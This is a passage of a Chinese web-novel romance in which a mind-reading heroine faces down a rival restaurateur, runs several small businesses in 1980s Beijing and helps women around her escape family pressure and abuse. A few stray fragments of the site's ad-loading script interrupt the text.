刘婶儿很急:“小孟,这个咱们得交给公安同志处理,他们今儿能倒垃圾,明儿不知道会做什么更过分的事呢!” “婶子你放心,我知道该怎么做。” 孟逐星让她和王姐正常开店,自己则悠哉地泡了壶茶,喝了两杯茶见时间差不多了,她才不紧不慢地出了门。 她并没有去报警,而是去了附近的几家饭馆。 一共有四家饭馆,大小都有,其中一家还是老牌的国营饭店。 有两家和客来顺一样,做三餐生意,她优先去了那两家。 第一家“惠民早点”她转了一圈,老板娘看着一团和气,笑盈盈的,店内员工也没什么异样。 而刚踏进“鲜美香”的门口,孟逐星就察觉到一道目光,她循着看回去,与一个穿着藏青棉袄黑裤子的男人撞了视线。 那人十分肥胖,肚子溜圆,像揣了个马路上的石墩子,在这个年代十分罕见。 店里坐了些吃早饭的人,人声嘈杂。 孟逐星毫不躲闪,与他对视了两秒,清晰地看到他头顶弹出的对话框:【这丫头怎么来了?难不成是发现了什么?】 【不可能,我昨天大半夜去倒的垃圾,她不可能知道。】 【我倒要看看这个小丫头片子来干什么。】 孟逐星面不改色地走近他,大着嗓门径直问:“这位老板,你昨天半夜为什么在我家店门口倒垃圾?竞争也不带你这样的吧!” 那男人脸色一变,否认道:“胡说八道!我都不认识你,又怎么会那样做?你别血口喷人!” 他们两人的说话声引起了店内顾客们的注意,正嫌没乐子看,见这边有个年轻姑娘跟胡 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 老板吵了起来,顿时支起了耳朵眼睛瞄了过来。 孟逐星气定神闲:“我们客来顺店门口装了监控,把昨晚的一切都录了下来,你要是不信,咱可以现在就去派出所当面对质。” 胡建设愣了一下,“什么监控?” “闭路电视监控系统啊,很多重要场合和单位都安装了的,你没听过?” 胡建设一脸怀疑:“那玩意儿不是很贵?你那小店门口还会安这个?” 孟逐星眨了眨眼,“你不信,咱就一块儿去派出所调出监控看看,瞧瞧是哪个好人大半夜的不睡觉,吸着大鼻涕在人家店门口倒垃圾。” 胡建设面露迟疑,见她神情笃定,脸上继而多了几分慌乱,他看了眼旁边伸着脖子看热闹的食客,挤出笑道:“小姑娘,这点儿小事就别麻烦公安同志了吧。” 他将孟逐星请到门帘后边,陪笑道:“昨夜是我不对,喝多了点酒,不小心将垃圾倒在了您的店门口。” 孟逐星似笑非笑:“哦?垃圾站可跟我们店不在一条街上啊。” “……”胡建设干笑两声,“妹子,都是大哥我不对,大哥跟你赔礼道歉,你看这事儿能不能就这样过去了?” 见她不言语,他又继续道,“再怎么说大家也都是街坊,都是做附近邻居的生意,要是把关系闹僵了,对谁也没好处不是?” 孟逐星冷笑一声:“你做坏事的时候就没想过大家是街坊?你昨儿能倒垃圾,赶明儿就能在店里投.毒!这会儿拿邻里关系来压我,你怎么不说是你先破坏了大家的和睦?!你要是觉得冤枉,我这就出去让大伙儿评评理!” 胡建设被她的话唬了一跳,赶忙道:“别!别!妹子你别生气,是我嫉妒你们店刚开张就抢走了不少我的老顾客,昨儿一时糊涂才干出那混账事儿,求你多原谅……” 他说着,从收银台抽屉里取出一沓钞票,孟逐星扫了一眼,大概有十多块钱,她看着他满脸讨好地送到她面前,“妹子,这点钱当做是我的赔礼,你看成不?” 孟逐星略显为难,“无缘无故的,我也不敢收你的钱啊,万一我前脚出去你后面就跟大伙儿说我来讹你,那怎么办?” “不会,大哥不是这样的人。”胡建设擦了擦脸上的汗,“那妹子你说该咋办?” “很简单,你写个条儿给我,说清楚这钱一共有多少,是干嘛用的,再写个日期和你的名字。” 胡建设面露难色:“怎么弄得跟签字画押似的……” 孟逐星:“你要是不愿意,咱们就派出所见。” “别,别。”胡建设懊悔不已,他怎么就没注意那小店门口还装了监控呢?这下没恶心到对方,自己反倒赔了夫人又折兵。 这小姑娘瞧着面嫩,说话做事却不留余地,早知道会这样他说什么也不会招惹她。 不过后悔也晚了,他只得老老实实地按照孟逐星说的,写了张条儿给她,一大早就亏了十三块五毛二。 孟逐星把条儿和钱收好,昂首阔步地笑着走出了店外。 店里围观的食客见胡老板面色不咋好看,不禁小声议论,纷纷猜测这胡老板果真在人家门口倒了垃圾,啧,这手段也真是够低级的。 有的不在意这事儿,当个乐子说说也就完了,有的则很看不上这种恶意竞争,觉得胡建设忒心胸狭窄,鄙薄他的人品,继而也就不再来他们店里吃早饭了。 反正街上的早点铺子多着呢,去哪家不好? 于是反而有一拨人转到了孟逐星的店里,客来顺不仅食材新鲜味道好,价格也很公道,时间久了自然而然吸引更多顾客。 饭馆的生意红红火火,服装店也不差,有前两年积累下的老主顾,再加上胡琼她舅妈在广州帮着挑选衣服,再让她叔叔帮忙运过来,款式新颖,价钱合适,很难不赚钱。 胡琼对此贡献巨大,光荣升为服装店的二老板,多了份收入的同时,也愈发在办公室里坐不下去,索性捡起书本准备考试,几个月后她考上了美国加州州立大学,继续攻读经济学。 其他舍友或校友也有不少去国外留学的,看得孟逐星有点心动,看得陆宗青有点忐忑。 这天睡前运动结束后,他将她抱在怀里,犹豫问:“星星,你也想去留学吗?” 孟逐星把玩着他的胸肌,“你想不想我去?” 35. 第 35 章 “……我私心里是不想跟你分开的那么久的,但是如果你想,我就支持你,多争取机会去看你,等你回来。” 军人出国的手续很复杂,尤其是陆宗青所在的单位审批更是严格。 孟逐星突然问:“宗青哥哥,你今年多大了?” “31。” “没记错的话,你的好几个战友孩子都能打酱油了吧?” “嗯,怎么了?” “你就不着急、不羡慕、不想?” 陆宗青愣了一下,谨慎措词:“有时候会觉得羡慕,但是就咱们俩也很好。” 孟逐星不再逗他,“我没打算去留学,就是也没打算这么快要孩子,再过两年成吗?” 陆宗青松了口气,将她搂紧,“好,都听你的。” 春暖花开时,陆思甜坐上了去大西北的火车,去敦煌文物研究所工作。 路途遥远,还要倒车,孟逐星和陆宗青很担心她会吃不消,但她笑容坚定,“姐、哥,你们就别担心了,我现在身体可好了,吃点苦不怕什么的,等我到了安顿好了给你们写信。” 马小兰大学毕业后被分配到了市法律顾问二处,办公地点就在司法局,工资由国家发,编制统一配置,她负责接待上.访群众。 正赶上“净化北京”搞严打的时候,案子多得办不过来,她上班俩月就瘦了一大圈,王婶儿知道后心疼坏了,当天就排队买了火车票来了北京。 她活了四十多岁,还是头一回自个儿出这么远的门。 王婶儿忐忑不安地下了火车,在月台上看到了自家姑娘和一张熟悉又陌生的面孔。 “你是逐星?”她有点不确定。 面前的姑娘长高了不少,穿着一件碎花衬衫黑长裤,身形苗条,对她笑得很甜,“咋啦婶儿,不认识我了?” 王婶儿咋舌道:“女大十八变,这要是在街上遇到我可不敢认。” “妈你都给我带啥好吃的了?”马小兰笑嘻嘻地接过她的行礼,要打开看被王婶儿轻斥着制止,“就是家里的土特产,没啥好东西。” 她看向孟逐星,不住地打量她,“哎哟俺的娘诶,逐星你咋变化这么大捏!” 孟逐星揽住她的手臂,“婶儿没咋变,还是和以前一样年前好看。” 王婶儿笑得见牙不见眼:“嘴还是和以前一样,就会哄人开心。” 三人先是坐车回了马小兰的住处。 她住在单位分的宿舍,两人一屋,除了两张床和文件柜、桌子,并没有其他东西,水房和厨房是公用的,人多了并不方便。 “要不干脆让婶子住我们那得了?”孟逐星提议,“反正那离你们单位也不算远,你下班了就过来一起吃饭,我和宗青哥也能趁着搭个伙蹭顿饭,婶儿的厨艺老好了,我想起来都馋。” 马小兰有点犹豫:“这样打扰你们多不好。” “嗐咱俩还客气啥呀,婶儿就是我干妈,我想孝敬孝敬她老人家。” 王婶儿问:“逐星你和宗青住的也是单位分的房子?地方够不够?要不我还是和兰儿挤一挤得了,不麻烦你们。” 孟逐星还没口,马小兰就叽叽喳喳地说了出来:“妈你忘啦?我大一那年回家不是跟你说过吗?逐星和宗青哥刚来大学报到就大手笔地买了套四合院,好家伙那房子现在的价格就涨了不少,很多人想买同样地段儿同样面积的都不好买了!” 王婶儿对孟逐星比了个大拇哥儿,“逐星你们两口子真能干也真大胆,那么多钱就买了个房子,要我说你们俩单位不给分房子吗?急着自己买干啥?” 孟逐星笑道:“我没去单位给分的工作,自己捣鼓着开店呢,宗青哥他们单位是有,就是名额有限,僧多粥少,不知道啥时候能分上呢,我们也是觉得有个房子方便些。” 王婶儿点头,“也是,你们是结婚的人了,小两口还是住一起方便。” “就这么说定了。”孟逐星拍板,“婶儿歇一会儿咱们就过去,那附近菜市场啥的也都有。” 马小兰哼哼唧唧:“小孟你算盘打得挺响啊,我妈明明是来看我的,还没坐多久呢就被你给拐走了。” 孟逐星揽住她的肩,笑嘻嘻道:“咱俩谁跟谁啊,你别跟我客气。” “……” 王婶儿就暂住在了四合院里,她人很勤快,见孟逐星和陆宗青都出去上班了,就卷起衣袖打扫起了卫生。 四合院之前被翻新过,这几年陆陆续续也添了不少家具,院子里还有不少绿植花卉,主要是陆宗青在打理,养得很不错,整体看起来有模有样格外气派。 孟逐星和陆宗青也常搞卫生,院子并不脏只是东西有点乱,王婶儿很有分寸,只将院子、厨房和厕所里的东西归拢了一番,将桌椅擦了一遍。 近中午时,她拿上钱袋和菜篮子出了门。 出了院子左拐走个几百米,就是一个挺大的菜市场,各种各样的青菜、水果、干货、海鲜河鲜应有尽有。 王婶儿逛了一圈,得出一个结论:首都的东西卖得就是贵。 不过饭总要吃,更何况闺女和逐星都给了她不少钱,要她该花就花,她们的五脏庙就等着她去满足呢。 最终她买了两斤虾、一只鸡、排骨还有半篮子蔬菜,赶回院子做起午饭。 晌午时,孟逐星陆宗青都回来吃饭,马小兰也蹬着自行车过来了。 香辣大虾、红烧鸡块、醋熘白菜、青椒炒蛋、玉米排骨汤,还有香喷喷的大米饭。 马小兰吃得眼泛泪光,“呜呜呜妈妈做的饭就是好吃!!” 孟逐星和陆宗青也夸赞道:“婶儿的厨艺真是高超,这卖相这味道丝毫不输我们店里的师傅。” 王婶儿腼腆一笑,“我都是瞎做的,哪能跟人家专业师傅比。” “真的婶儿,我觉得你做饭真的很好吃,只在老家待着有点太屈才了。” “那不然婶儿还能一把年纪了跑出来闯?” 孟逐星:“四五十岁正是闯荡创业的好时候啊!” 王婶儿笑着摆手,“你可别开我玩笑了,我哪儿成。” 马小兰咽下口中的排骨,忽道:“妈,我觉得你可以试试啊,反正现在家里有爸在呢,奶奶身体也挺好,哥和嫂子也过得不错,你留北京试试看,成了就能赚不少钱,不成的话也能陪陪我们嘛!” 王婶儿笑得无奈:“你们这话说得容易,且不说家里的地和牛羊你爹能不能忙过来,我就是留在了北京也啥都不懂啊,哪家饭店愿意要一个农村妇女做厨子?你又见过几个饭店的做菜师傅是女的?” “可明明大部分人的家里都是女性在做饭啊……凭什么在家里女的要做饭,到饭店里能赚钱了又都是男厨师?”马小兰愤愤不平。 王婶儿一时不知该如何回答,她也不知道答案。 她小的时候,娘就教她洗衣做饭做家务,“要是这都不会,以后没有婆家要你。” 那会儿她也就七八岁吧,就已经要为了未来的婆家努力了。 可奇怪的是,她的兄弟们就从未被要求做这些。 所以这些是她们女人天生就该做的事? 王婶儿不知道,但她在养育小兰的时候,也曾不自觉地说过这样的话—— “你这么懒,以后到你婆婆家可咋办?” 小兰和她不一样,她没她那么听话,所以反而是她哥文波做得更多。 她则考到了北京的大学,留在了北京工作,坐进了办公室,吃上了皇粮。 “婶儿?”孟逐星轻声将她的思绪唤了回来,“你要是愿意,可以来我们饭店试试,负责炒菜的目前是黄叔一个人,现在店里生意忙了,他有些顾不过来,我本来就想再请一个人帮忙,要不你就试试看?不成也没关系。” 王婶儿犹豫一会儿,“成,那我就试试。” 于是到了北京的第三天,王婶儿就从山村里的普通妇女,成了北京客来顺饭店里的女厨师。 刘婶儿和王姐见她淳厚勤快,做事儿麻利,炒的菜也很受欢迎,没几天三人就处成了老姊妹。 王婶儿很会做小咸菜,腌了些萝卜、白菜、野菜做小菜,味道独特,很受街坊邻居欢迎。 客来顺的生意愈发蒸蒸日上。 孟逐星不是资本家,她对店内的员工很好,除了工资开的比同行多一些,平时他们家里有啥事儿也可以及时回去,不过前提就是上班的时候做好分内事。 一开始也出现过有服务员见她年纪轻好说话又待人和气,便偷奸耍滑磨洋工,很快就被她发现并辞退了。 换了几个人后,店内留下的都是老实本分的,相处十分融洽。 王婶儿在北京待了半个月,马小兰和孟逐星都肉眼可见地长肉了。 陆宗青常年有运动的习惯,身材保持得非常好,胸肌腹肌人鱼线,每回脱衣服都能硬控孟逐星半小时,或者更长时间。 院里多了个王婶儿,夜里有点不太方便,但反而多了几分偷偷摸摸的趣味。 这天早上,王婶儿晾完 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 衣服,悄悄问孟逐星:“星儿你和小陆咋还没要个孩子啊?要不要我问家里人要个方子调理调理。” 孟逐星口中的粥差点喷出去,“婶儿,我们目前没这个打算,您不用操心。” “这话说的,小陆今年都31了吧?这年纪可不小了,再耽搁你就不怕他生不出来啊?” “不会的,他身体好着呢。” 话音刚落,就见王婶儿脸色微红,咳了一声:“婶儿知道,身体不好又哪能隔三差五地半夜才睡。” 孟逐星:“……” “你也别不好意思,年轻人很正常,想当年我和你叔也……”王婶儿把自己说笑了,“婶儿也没别的意思,就是关心你,女人家生孩子还是年轻时更好一些,少受些罪。” “谢谢婶儿,我心里有数。” 一个月后,马叔的信寄过来了,信中问王婶儿啥时候回去,地里马上要忙起来了。 马小兰见她妈妈看完信许久没说话,忍不住问:“妈,你是不是不想回去?” 王婶儿勉强笑了笑:“没有。” “那你怎么看着不太高兴?”马小兰抱住她,“是不是爸他惹你生气了?还是奶奶又挑你理了?” “都没有。” “那一定是我哥和嫂子做错什么,所以你才不想回去!” 孟逐星问:“文波哥的老婆之前不是说挺好一人吗?咋还惹婶儿生气了?” 马小兰吐槽道:“她也不是人坏,是症多小心眼,很多话自己不说明白,非要你猜,你要是没按她想的做,她就开始生气,也不跟我妈说,就给我哥吹枕边风,弄得我妈有点不知所措,不是娶了儿媳妇,反倒像供着位祖宗。” “兰儿别说了……”王婶儿打断她,被马小兰按住,“妈你怕什么,逐星又不是外人,她肯定也不想你在家里受儿媳妇的气。” 在现代的时候,孟逐星也听朋友吐槽过自家弟妹有多难处,啃老、事儿多、难伺候,婆婆在外打工,月月工资全给弟弟和弟妹,却在婆婆生病的时候儿子连个药钱也不出。 养儿子还不如养条狗,至少狗还能看家护院提供情绪价值。 她当时听得很气,但也知道这事儿不能只怪一方,如果没有父母的纵容溺爱,儿子也不会啃老啃得理直气壮,可怜之人必有可恨之处罢了。 只是可怜了她的那个朋友,出生在那样的姐弟家庭里,无法做到割席,就注定要被弟弟变相吸血。 思绪回到现在,同样的情况也在发生。 孟逐星道:“婶儿,文波哥虽然是个厚道孝顺的,但媳妇是他娶的,是好是坏也该由他自己承担,您是他的母亲没错,但也没义务为他无底线地兜底、退让。” “人都是贪心欺软怕硬的,您要是一味地好说话、好相处,那她只会更变本加厉,最终受苦的还是文波哥。” 王婶儿叹了口气:“话是这么说没错,只是毕竟是自家孩子,怎么忍心看他在娘和媳妇中间左右为难。” 马小兰冷笑一声:“你不忍心一味退让,人家可不就愈发蹬鼻子上脸了吗?” “我原本对这个嫂子还挺喜欢,但怎么也没想到她是这样的人。” 孟逐星给两人倒了杯茶,安抚一番,问:“那婶儿现在您是怎么打算的?说实话,我肯定是希望您能留在这儿,在首都做厨师怎么也比在山村里养鸡喂猪更赚钱也更体面吧?” “星儿你对婶子的好婶子都清楚,我就是记挂着你叔……” 马小兰一拍手:“那好办啊,让我爸也来这儿!他会做木匠活,人又勤快,找个工作是不难的。” “净说孩子气的话,你爸要是也来了,你奶谁照顾?” “那不还有我哥和嫂子呢么,之前他结婚时,我奶可是把她珍藏了几十年的私房钱和金戒指都塞给他了,从小到大她都偏心我哥,他享受了这么多年的好处,现在孝敬孝敬奶奶怎么不行了?” “你哥粗手粗脚的,哪里会照顾老人。” “不会就学啊,谁也不是天生就会伺候人的。” 王婶儿被她说得哑口无言,半晌道:“让我好好想想。” 孟逐星笑道:“不着急,婶儿做什么决定我都支持,只是我觉得咱们人活一世,怎么也要尽力让自己舒心快乐不是?而不该活在别人的目光中、嘴巴里,旁人怎么看、怎么说,又有什么关系呢?” 王婶儿怔了怔,若有所思。 两天后,她把信塞到了邮局的邮筒,转身大踏步朝客来顺饭店走去。 36. 第 36 章 饭店和服装店的生意都红红火火,越来越多的人成了个体户,大伙儿的日子越来越好,解决了温饱问题,就开始琢磨起精神享受来,电扇、收录两用机、电视机、冰箱、电话、洗衣机等家用电器也陆续进入各家各户。 孟逐星很阔气地全都买回了家,这才觉得开始和现代时所过的生活接轨。 电视上放着《排球女将》,收音机里播着《今宵多珍重》,洗衣机在轰隆隆地转着,孟逐星躺在藤椅上吃着冰棍儿,抖着脚惬意得很。 昨儿她收到了两封信,一封来自哈尔滨,是花儿孙佳寄来的,她说她打算暑假开学去山区支教,一来是她向往着可以帮助更多人,二来也是想逃离家里的环境。 “逐星姐,你是知道的,我弟妹年前刚生了孩子,正是花钱的时候,我弟那人又不正干,家里父母年纪也大了,只靠种地根本不够一家五口人开销……我的工资不能再继续补贴他们了,我也想有自己的生活。” “等我到地方安顿下来,我再给姐写信,一切都好,勿念,祝你和姐夫身体健康,万事如意!” 另一封则是陆思甜寄的,她的信不长,主要就是报平安,莫高窟那边远没有北京便利,只有镇上才有几台电话,他们平时联系还是靠写信。 “上周我们在清理窟区里的积沙时,外面突然刮起了老大的沙尘暴,迷得人眼睛都睁不开,不过没啥事儿,不用担心。” 随信寄来的还有她的一张照片,站在鸣沙山月牙泉边上拍的,陆思甜穿着白色衬衫,黑色长裤,头发齐肩,笑容灿烂。 看着比之前黑瘦了些,但眼睛却是亮晶晶的。 “这边的沙漠一望无际,落日特别壮阔,驼铃声清脆悦耳,仰望星空时会觉得人特别渺小。” “姐,我希望你和哥有机会也可以来这边看看,特别美。” 孟逐星不是不心动,在现代时她就想去大西北好好玩一下,只可惜当时是社畜,每天忙着搬砖,没多少钱更没那么多时间。 如今她手上是有不少钱了,再加上之前踅摸买来的各式古董、存的名酒,怎么也能称得上是小富婆了,时间上也很自由,美中不足的是现在的交通不够发达,从北京到敦煌,一路上坐车倒腾都能要她半条命。 所以,她还是等等吧,啥时候过去方便些了,她再去深度游玩。 读完信,孟逐星的冰棍儿也吃完了,她去手动给洗衣机排了水,把衣服丢到甩干桶中,洗完后晾在院中,她换了身衣裳,出了门。 她打算开个书店,卖教辅图书之类的,相关的文件流程已经正在进行了,今儿出门是想跟出版社谈采购的问题。 她前阵子已经接触过几家,大致了解了下市场行情,现在改革开放社会发展欣欣向荣,人们生活条件越来越好,家长们对孩子的教育也越来越上心,教辅培训这块蛋糕相当大。 自从开始干个体,孟逐星在人情世故方面越发圆滑,一张小脸总是笑盈盈的,嘴特甜,每句话都能说到人心坎儿里去,特别神奇。 虽然年纪轻轻,但做起事来却十分靠谱,跟她打过交道的人都对她很有好感,哪怕合作不成,许多也都处成了朋友。 朋友多了就好办事儿,得知孟逐星想开家书店时,不少人就来跟她牵线搭桥,介绍合适的门面、出版社认识的人。 孟逐星对他们感激不尽。 在中华书局办公室等待的间隙,她看到了一抹熟悉的身影,白衬衫黑长裤,戴着金丝眼镜,斯斯文文,竟然是蒋熠。 北京很大,孟逐星与莫莉莉等人要非约好平时都碰不着面,很多关系一般的同学朋友毕业后即便留在了北京,也基本上就没再见过。 所以冷不丁在这儿见到他,孟逐星颇感惊讶。 蒋熠也没想到会再见到她,愣了一下后对她点了点头,“孟同学,好久不见。” 孟逐星笑道:“原来你在这儿上班啊,”她探头往里面瞧了瞧,小声问,“你也是负责古籍整理的吗?” 她看到里面办公桌上堆着很多泛黄的古书,坐着两三个上了年纪的人,有男有女,都极为认真地在埋头整理资料。 “嗯,我对这方面比较感兴趣,你来是要?” “我想跟你们书局谈谈合作的事。”孟逐星也没瞒他,将自己的打算说了,“毕竟是刚起步,多了解了解总是好的。” 蒋熠道:“如果需要我帮忙尽管开口。” 孟逐星有些受宠若惊:“好,那就多谢你了。”说着,负责接待她的人对她招了招手,她便对他挥了挥手,进办公室谈合作去了。 …… 因为有读心术这一异能存在,孟逐星在跟人谈判上可谓无往不利。 进货渠道确定了四家,其中就包括中华书局,敲定门店地址后,孟逐星张罗人简单装修一番,和陆宗青一块买回了书架、书桌、柜台等物品,营业执照下来后,书籍采购得差不多了,她就挑了个日子红火开业。 书店名字朴实无华——行知书店。 店内出售小中高教辅、小说、儿童读物、各类专业书等,为了吸引更多人,孟逐星还在店门口摆了个小木头黑板,上面写着今日特价书单,旁边小凳子上放了个录音机,低声播放着流行歌曲,不吵闹,却足够吸引人注意。 书店外墙上还张贴着多张最新电影海报,花花绿绿俊男美女,很难不引人注目停留。 收银员是一个小姑娘,名叫张娟,长得白净清秀,外地人,来北京是想赚钱继续读书,孟逐星是在一家面馆里认识她的。 彼时她因为不小心将茶水泼到了顾客身上,被他一阵数落,她红着眼眶一个劲儿地道歉,看得孟逐星心里很不是滋味—— 她并不是做事笨手笨脚,她的手上有好几处烫伤,想是被滚烫的茶水和面汤烫过不知道多少回,一时手抖了才会出错。 后来,孟逐星单独找到她,问她愿不愿意来书店上班。 小姑娘欢喜得连连点头,“谢谢你姐姐,我一定会好好干活的!” 张娟十七岁,老家是山东的,孟逐星曾问她,“你这么小就自己跑到北京,你家里人不担心吗?” “我偷跑出来的。”张娟说这话时表情很平静,“我爸平时总打我和我妈,他还要把我嫁给一个三十多岁的男的,我不愿意,他就把我关屋里不给我饭吃。” “我妈怕他真的逼死我,就偷偷给了我一笔钱,让我跑出去自己挣命。” 张娟眼中泛泪,低下了头,“我是跑出来了,不知道我妈现在怎么样了。” 孟逐星听得心头发沉,摸了摸她的头,“别太担心,再怎么说他也是你爸,应该不会把你妈妈怎么样的……” 这话她自己都不信。 别说是现在这个年代,即便在2024年,她也见过太多女人活在家暴的阴影下,有许多还因此丢了性命,始作俑者却并未被重判。 说来也好笑,催婚的时候人们总喜欢说“找个人照顾你”,结婚后才发现所有的风雨都是那个人带来的。 婚姻不是所有人的避风港,反倒成了某些人施暴逞凶的保护伞。 孟逐星沉默片刻,“娟儿你要好好学习,争取考个大学留在北京,以后把你妈妈也接过来享福。” 张娟流下泪来,“我知道的,就是我怕到时候也没办法摆脱那个人。” ——她不想再称呼他为父亲,他不配。 “别怕,我有一个律师朋友,她很厉害的,到时候我让她帮你妈妈打官司,你就安心看店,空闲的时候多看书学习。” “谢谢你星星姐。”张娟擦干眼泪,对她笑了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 笑,“我妈说得没错,人美心善,星星姐就是这样的人。” 孟逐星弯起唇角:“我也这么觉得。” 临近中秋时,王婶儿又收到了家里寄来的信,这回信是马文波写的,十分关切她,问她身体可好,是否会回家过节,还替他媳妇儿跟王婶儿道了歉,说以后一定会改,不让她再受半点儿委屈。 马小兰看罢信,问她妈:“妈你想回去吗?” 王婶儿摆了摆手儿,“回啥回?路上那么远,骨架子都要折腾散了,再说小星饭店忙不开,过节时候生意更好,我这会子走了,她临时上哪儿去找人去?” “真不回?”马小兰担心她是在硬撑。 “哎呀真的,你小姑娘家的咋这么啰嗦呢!”王婶儿嗔怪地看了她一眼,轻叹一声,“赶明儿给你奶奶买点东西寄回去吧,过八月节了,她毕竟是长辈。” 见马小兰和孟逐星都一脸关切地看着她,王婶儿笑了笑:“你们别担心我,我心里高兴着呢!” “一开始刚离开家时我也不太适应,总是会担心你叔、挂念你文波哥,当然也担心你奶奶,怕他们离了自己生活不好。但这几个月过去,我觉得也没啥,离了谁大家都可以正常生活下去,我倒是还乐得清闲自在。” “妈你最勤劳能干了!”马小兰抱住她的胳膊夸奖,“要不星星怎么会给你涨工资呢!” “是呢婶儿,你哪里落得清闲了,不过是换个地方干活而已。” “这可大不一样,以前在家洗衣做饭喂鸡喂鸭,养牛养羊,下地干活,是一刻也没闲着,累得不轻,但也没人给发一毛钱工资啊。” 王婶儿笑得眼角泛起细纹,“我在这儿跟着小星打工,包吃包住不说,每个月还给几十块钱工资,这不比我在家伺候人强百倍?” “就是,而且回家过节,谁来买菜做饭收拾屋子?谁来准备礼物走亲访友?要是家里来客了,又是谁负责招待吃喝?”孟逐星小嘴叭叭个不停,“这些鸡零狗碎加起来可累人了,才不是什么轻松的事。” “没错!”马小兰连连附和,“以前我都没留心这些杂事儿,直到前阵子我们单位有接待,我们几个姑娘负责准备桌椅、茶水、桌签、订餐、接送等事项,光这些就把我搞得头大。” “妈,真不知道你这么多年是怎么同时做好家里那么多事的……你真的真的特别特别厉害!简直是伟大!” 王婶儿失笑:“这有啥?你大娘和村里的嫂子,她们不都是这么过来的?没觉得有啥厉害的。” 孟逐星摇头道:“婶儿,你们确实很厉害,一直默默为家庭付出,却没有得到应有的回报与尊重,这是不对的。” 见她神色有点严肃,王婶儿忙道:“哪儿有那么严重,你叔一直对我也挺好的……” “嗯婶儿我知道,我是想说像你这样勤劳能干的家庭妇女,你们的劳动应该被看见和认可,得到更多实际的回报才对。” “都是一家人,哪能这么斤斤计较。” 马小兰反问:“妈,如果我以后嫁了人,除了要正常上班,在家里还要跟你一样干这干那,还要给人家生孩子养孩子,我婆婆又像我奶对你一样对我,你心里是啥滋味儿?” 王婶儿:“我哪能让你嫁给这样的人家!使唤老黄牛也不带这样的!” “看看,”马小兰一拍手,“说明你也觉得你在咱家里是个被过度使唤的老黄牛。” 王婶儿沉默许久,勉强笑了笑:“那有啥法儿,都是这样过来的。” 马小兰哼一声,揽住孟逐星:“我和星星偏偏不这样,我们要做新时代的女性,万事靠自己,顶起整片天!” 王婶儿笑得眯起了眼:“你们俩最厉害,以后我等着享你们的福。” “老妈,你的福气在后头呢!” 37. 第 37 章 中秋节饭店、服装店和书店生意都很红火,虽然很忙但大伙儿都很开心,孟逐星身为老板特别阔气,逢年过节有礼物不说,忙的时候也会多给提成,付出的辛苦和收获成正比,谁还不乐意多赚点钱呢? 马小兰也趁着放假,带着王婶儿看了好几处的房子,她也工作一年多了,手上有了点存款,再加上之前和孟逐星一块卖衣服攒的,她手上也有近一千块钱,她准备买个房子和妈一起住。 王婶儿起先不太赞同,“你们单位有宿舍,又不是没地方住,花这老些钱买房干啥?这钱留着,以后你花钱的地方多着呢!” “妈,单位的房子只是临时给你住的,哪有自己的住着安心踏实?再说你看之前咱们都还觉得星星不该买那四合院,但是你看现在,价格涨了多少?很多人想买都买不着了呢!” 马小兰压低声音,“我可听我们单位的老同志说了,以后这房价可能会一飞冲天呢!” “早买早享受,再说我也没什么需要用钱的地方,买了房咱娘俩住一起,也比你总住在星星家好吧?虽然我跟她关系很好,她也拿你当干妈看待,但远香近臭的道理您不是比谁都明白?咱也不能总麻烦她。” 王婶儿思索须臾,“成,就依你,妈这儿有些钱,你要是不够就给你添上。” 马小兰笑嘻嘻地问:“哎?还有我的份儿呀?我还以为您都寄给我哥了呢。” “净胡说,我是给你哥寄钱了,但哪儿能都给他。”王婶儿叹了口气,“妈不傻,知道谁对自己好,你放心,我的工资大部分都留下来,准备以后给你做嫁妆的。” 她摸了摸马小兰齐肩的短发,“兰儿也长大了,到了该嫁人的年纪。” 马小兰瞪大眼连连摇头:“使不得使不得,我连喜欢的人都没有,结啥婚啊!还是赶快看房子吧,这才是大事!” …… 前后看了小半个月,马小兰最终在孟逐星家附近买了个小房子,地段儿好,交通便利,缺点就是房子太老面积有点小,但王婶儿却很喜欢。 “在首都还能有这样的三房小院真不容易,中间可以做堂屋招待客人,左右两边还能隔开做个卧室,院子两旁还有两间小屋,做厨房、厕所都够了,院子里还能种点菜养点鸡……” “妈,”马小兰忍不住笑,“你咋还惦记着种菜养鸡呢。” 王婶儿理直气壮:“咱们中国人见到闲着的地,怎么能忍住不种菜?” “败家玩意儿。”嘴上虽嗔怪着,但她也知道,“不过鸡是不能养了,味儿大也容易脏,影响邻居们就不好了。” 买房虽然掏空了马小兰的全部积蓄,但她却特别高兴,工作起来也越发有动力了。 一个月后,新家收拾利索,她和王婶儿就搬了进去。 孟逐星和陆宗青拎着礼物去为她们暖居庆祝,莫莉莉、宋若楠也来了,十分热闹。 当天晚上她喝了不少酒,回来时孟逐星有点走不动道儿,是陆宗青背她回来的。 夜风拂面,孟逐星感到脸上一阵微凉,她下意识地圈紧他的脖颈,脸埋进了他颈窝。 月色下,陆宗青穿着一身黑色大衣,身形挺拔,他侧头垂眼看了看她酡红的侧脸,唇角缓缓勾起。 到家之后,陆宗青给她脱去外衣,倒了热水给她洗脸、洗脚。 喝醉的孟逐星特别听话,让干嘛干嘛,一双明亮莹润的杏眼泛着一层朦胧雾气,看得人心口直发软。 陆宗青没忍住亲了亲她的眼睛,轻声问:“还认得我是谁么?” 孟逐星点头:“认得,老公。” 陆宗青唇角笑意更浓,“平时怎么不这样叫我?” 她大多数时候都是叫他宗青哥,或者是哥,在床上被闹得受不住时也会软着嗓子迭声叫哥哥。 “唔,因为有好几个……”她的声音有点飘,浓密的眼睫低垂着,困意渐浓。 陆宗青心中一怔,有好几个什么?老公吗? 他将人单手抱起往床边走去,另一只手将她的裤子扯落,“哦?星星乖,告诉我,除了我还有谁?” 孟逐星虽然喝醉了,但还是下意识地配合他除掉了衣物,她星眼朦胧地看着笼罩在自己身上的男人,伸出手指描摹着他英气逼人的五官。 “唔,有白毛老公、紫发老公,还有医生老公……” 陆宗青:“……” 他修长的手指握住她白皙的脚踝,缓缓摩挲,“星星是和他们怎么认识的?” “在手机里呀,玩游戏认识的呀,你好笨,怎么这都不知道……”孟逐星忽然笑得很神秘,凑到他面前,“你想不想看看他们长什么样子?” 陆宗青低头吻了吻她泛红的面颊,“想。” 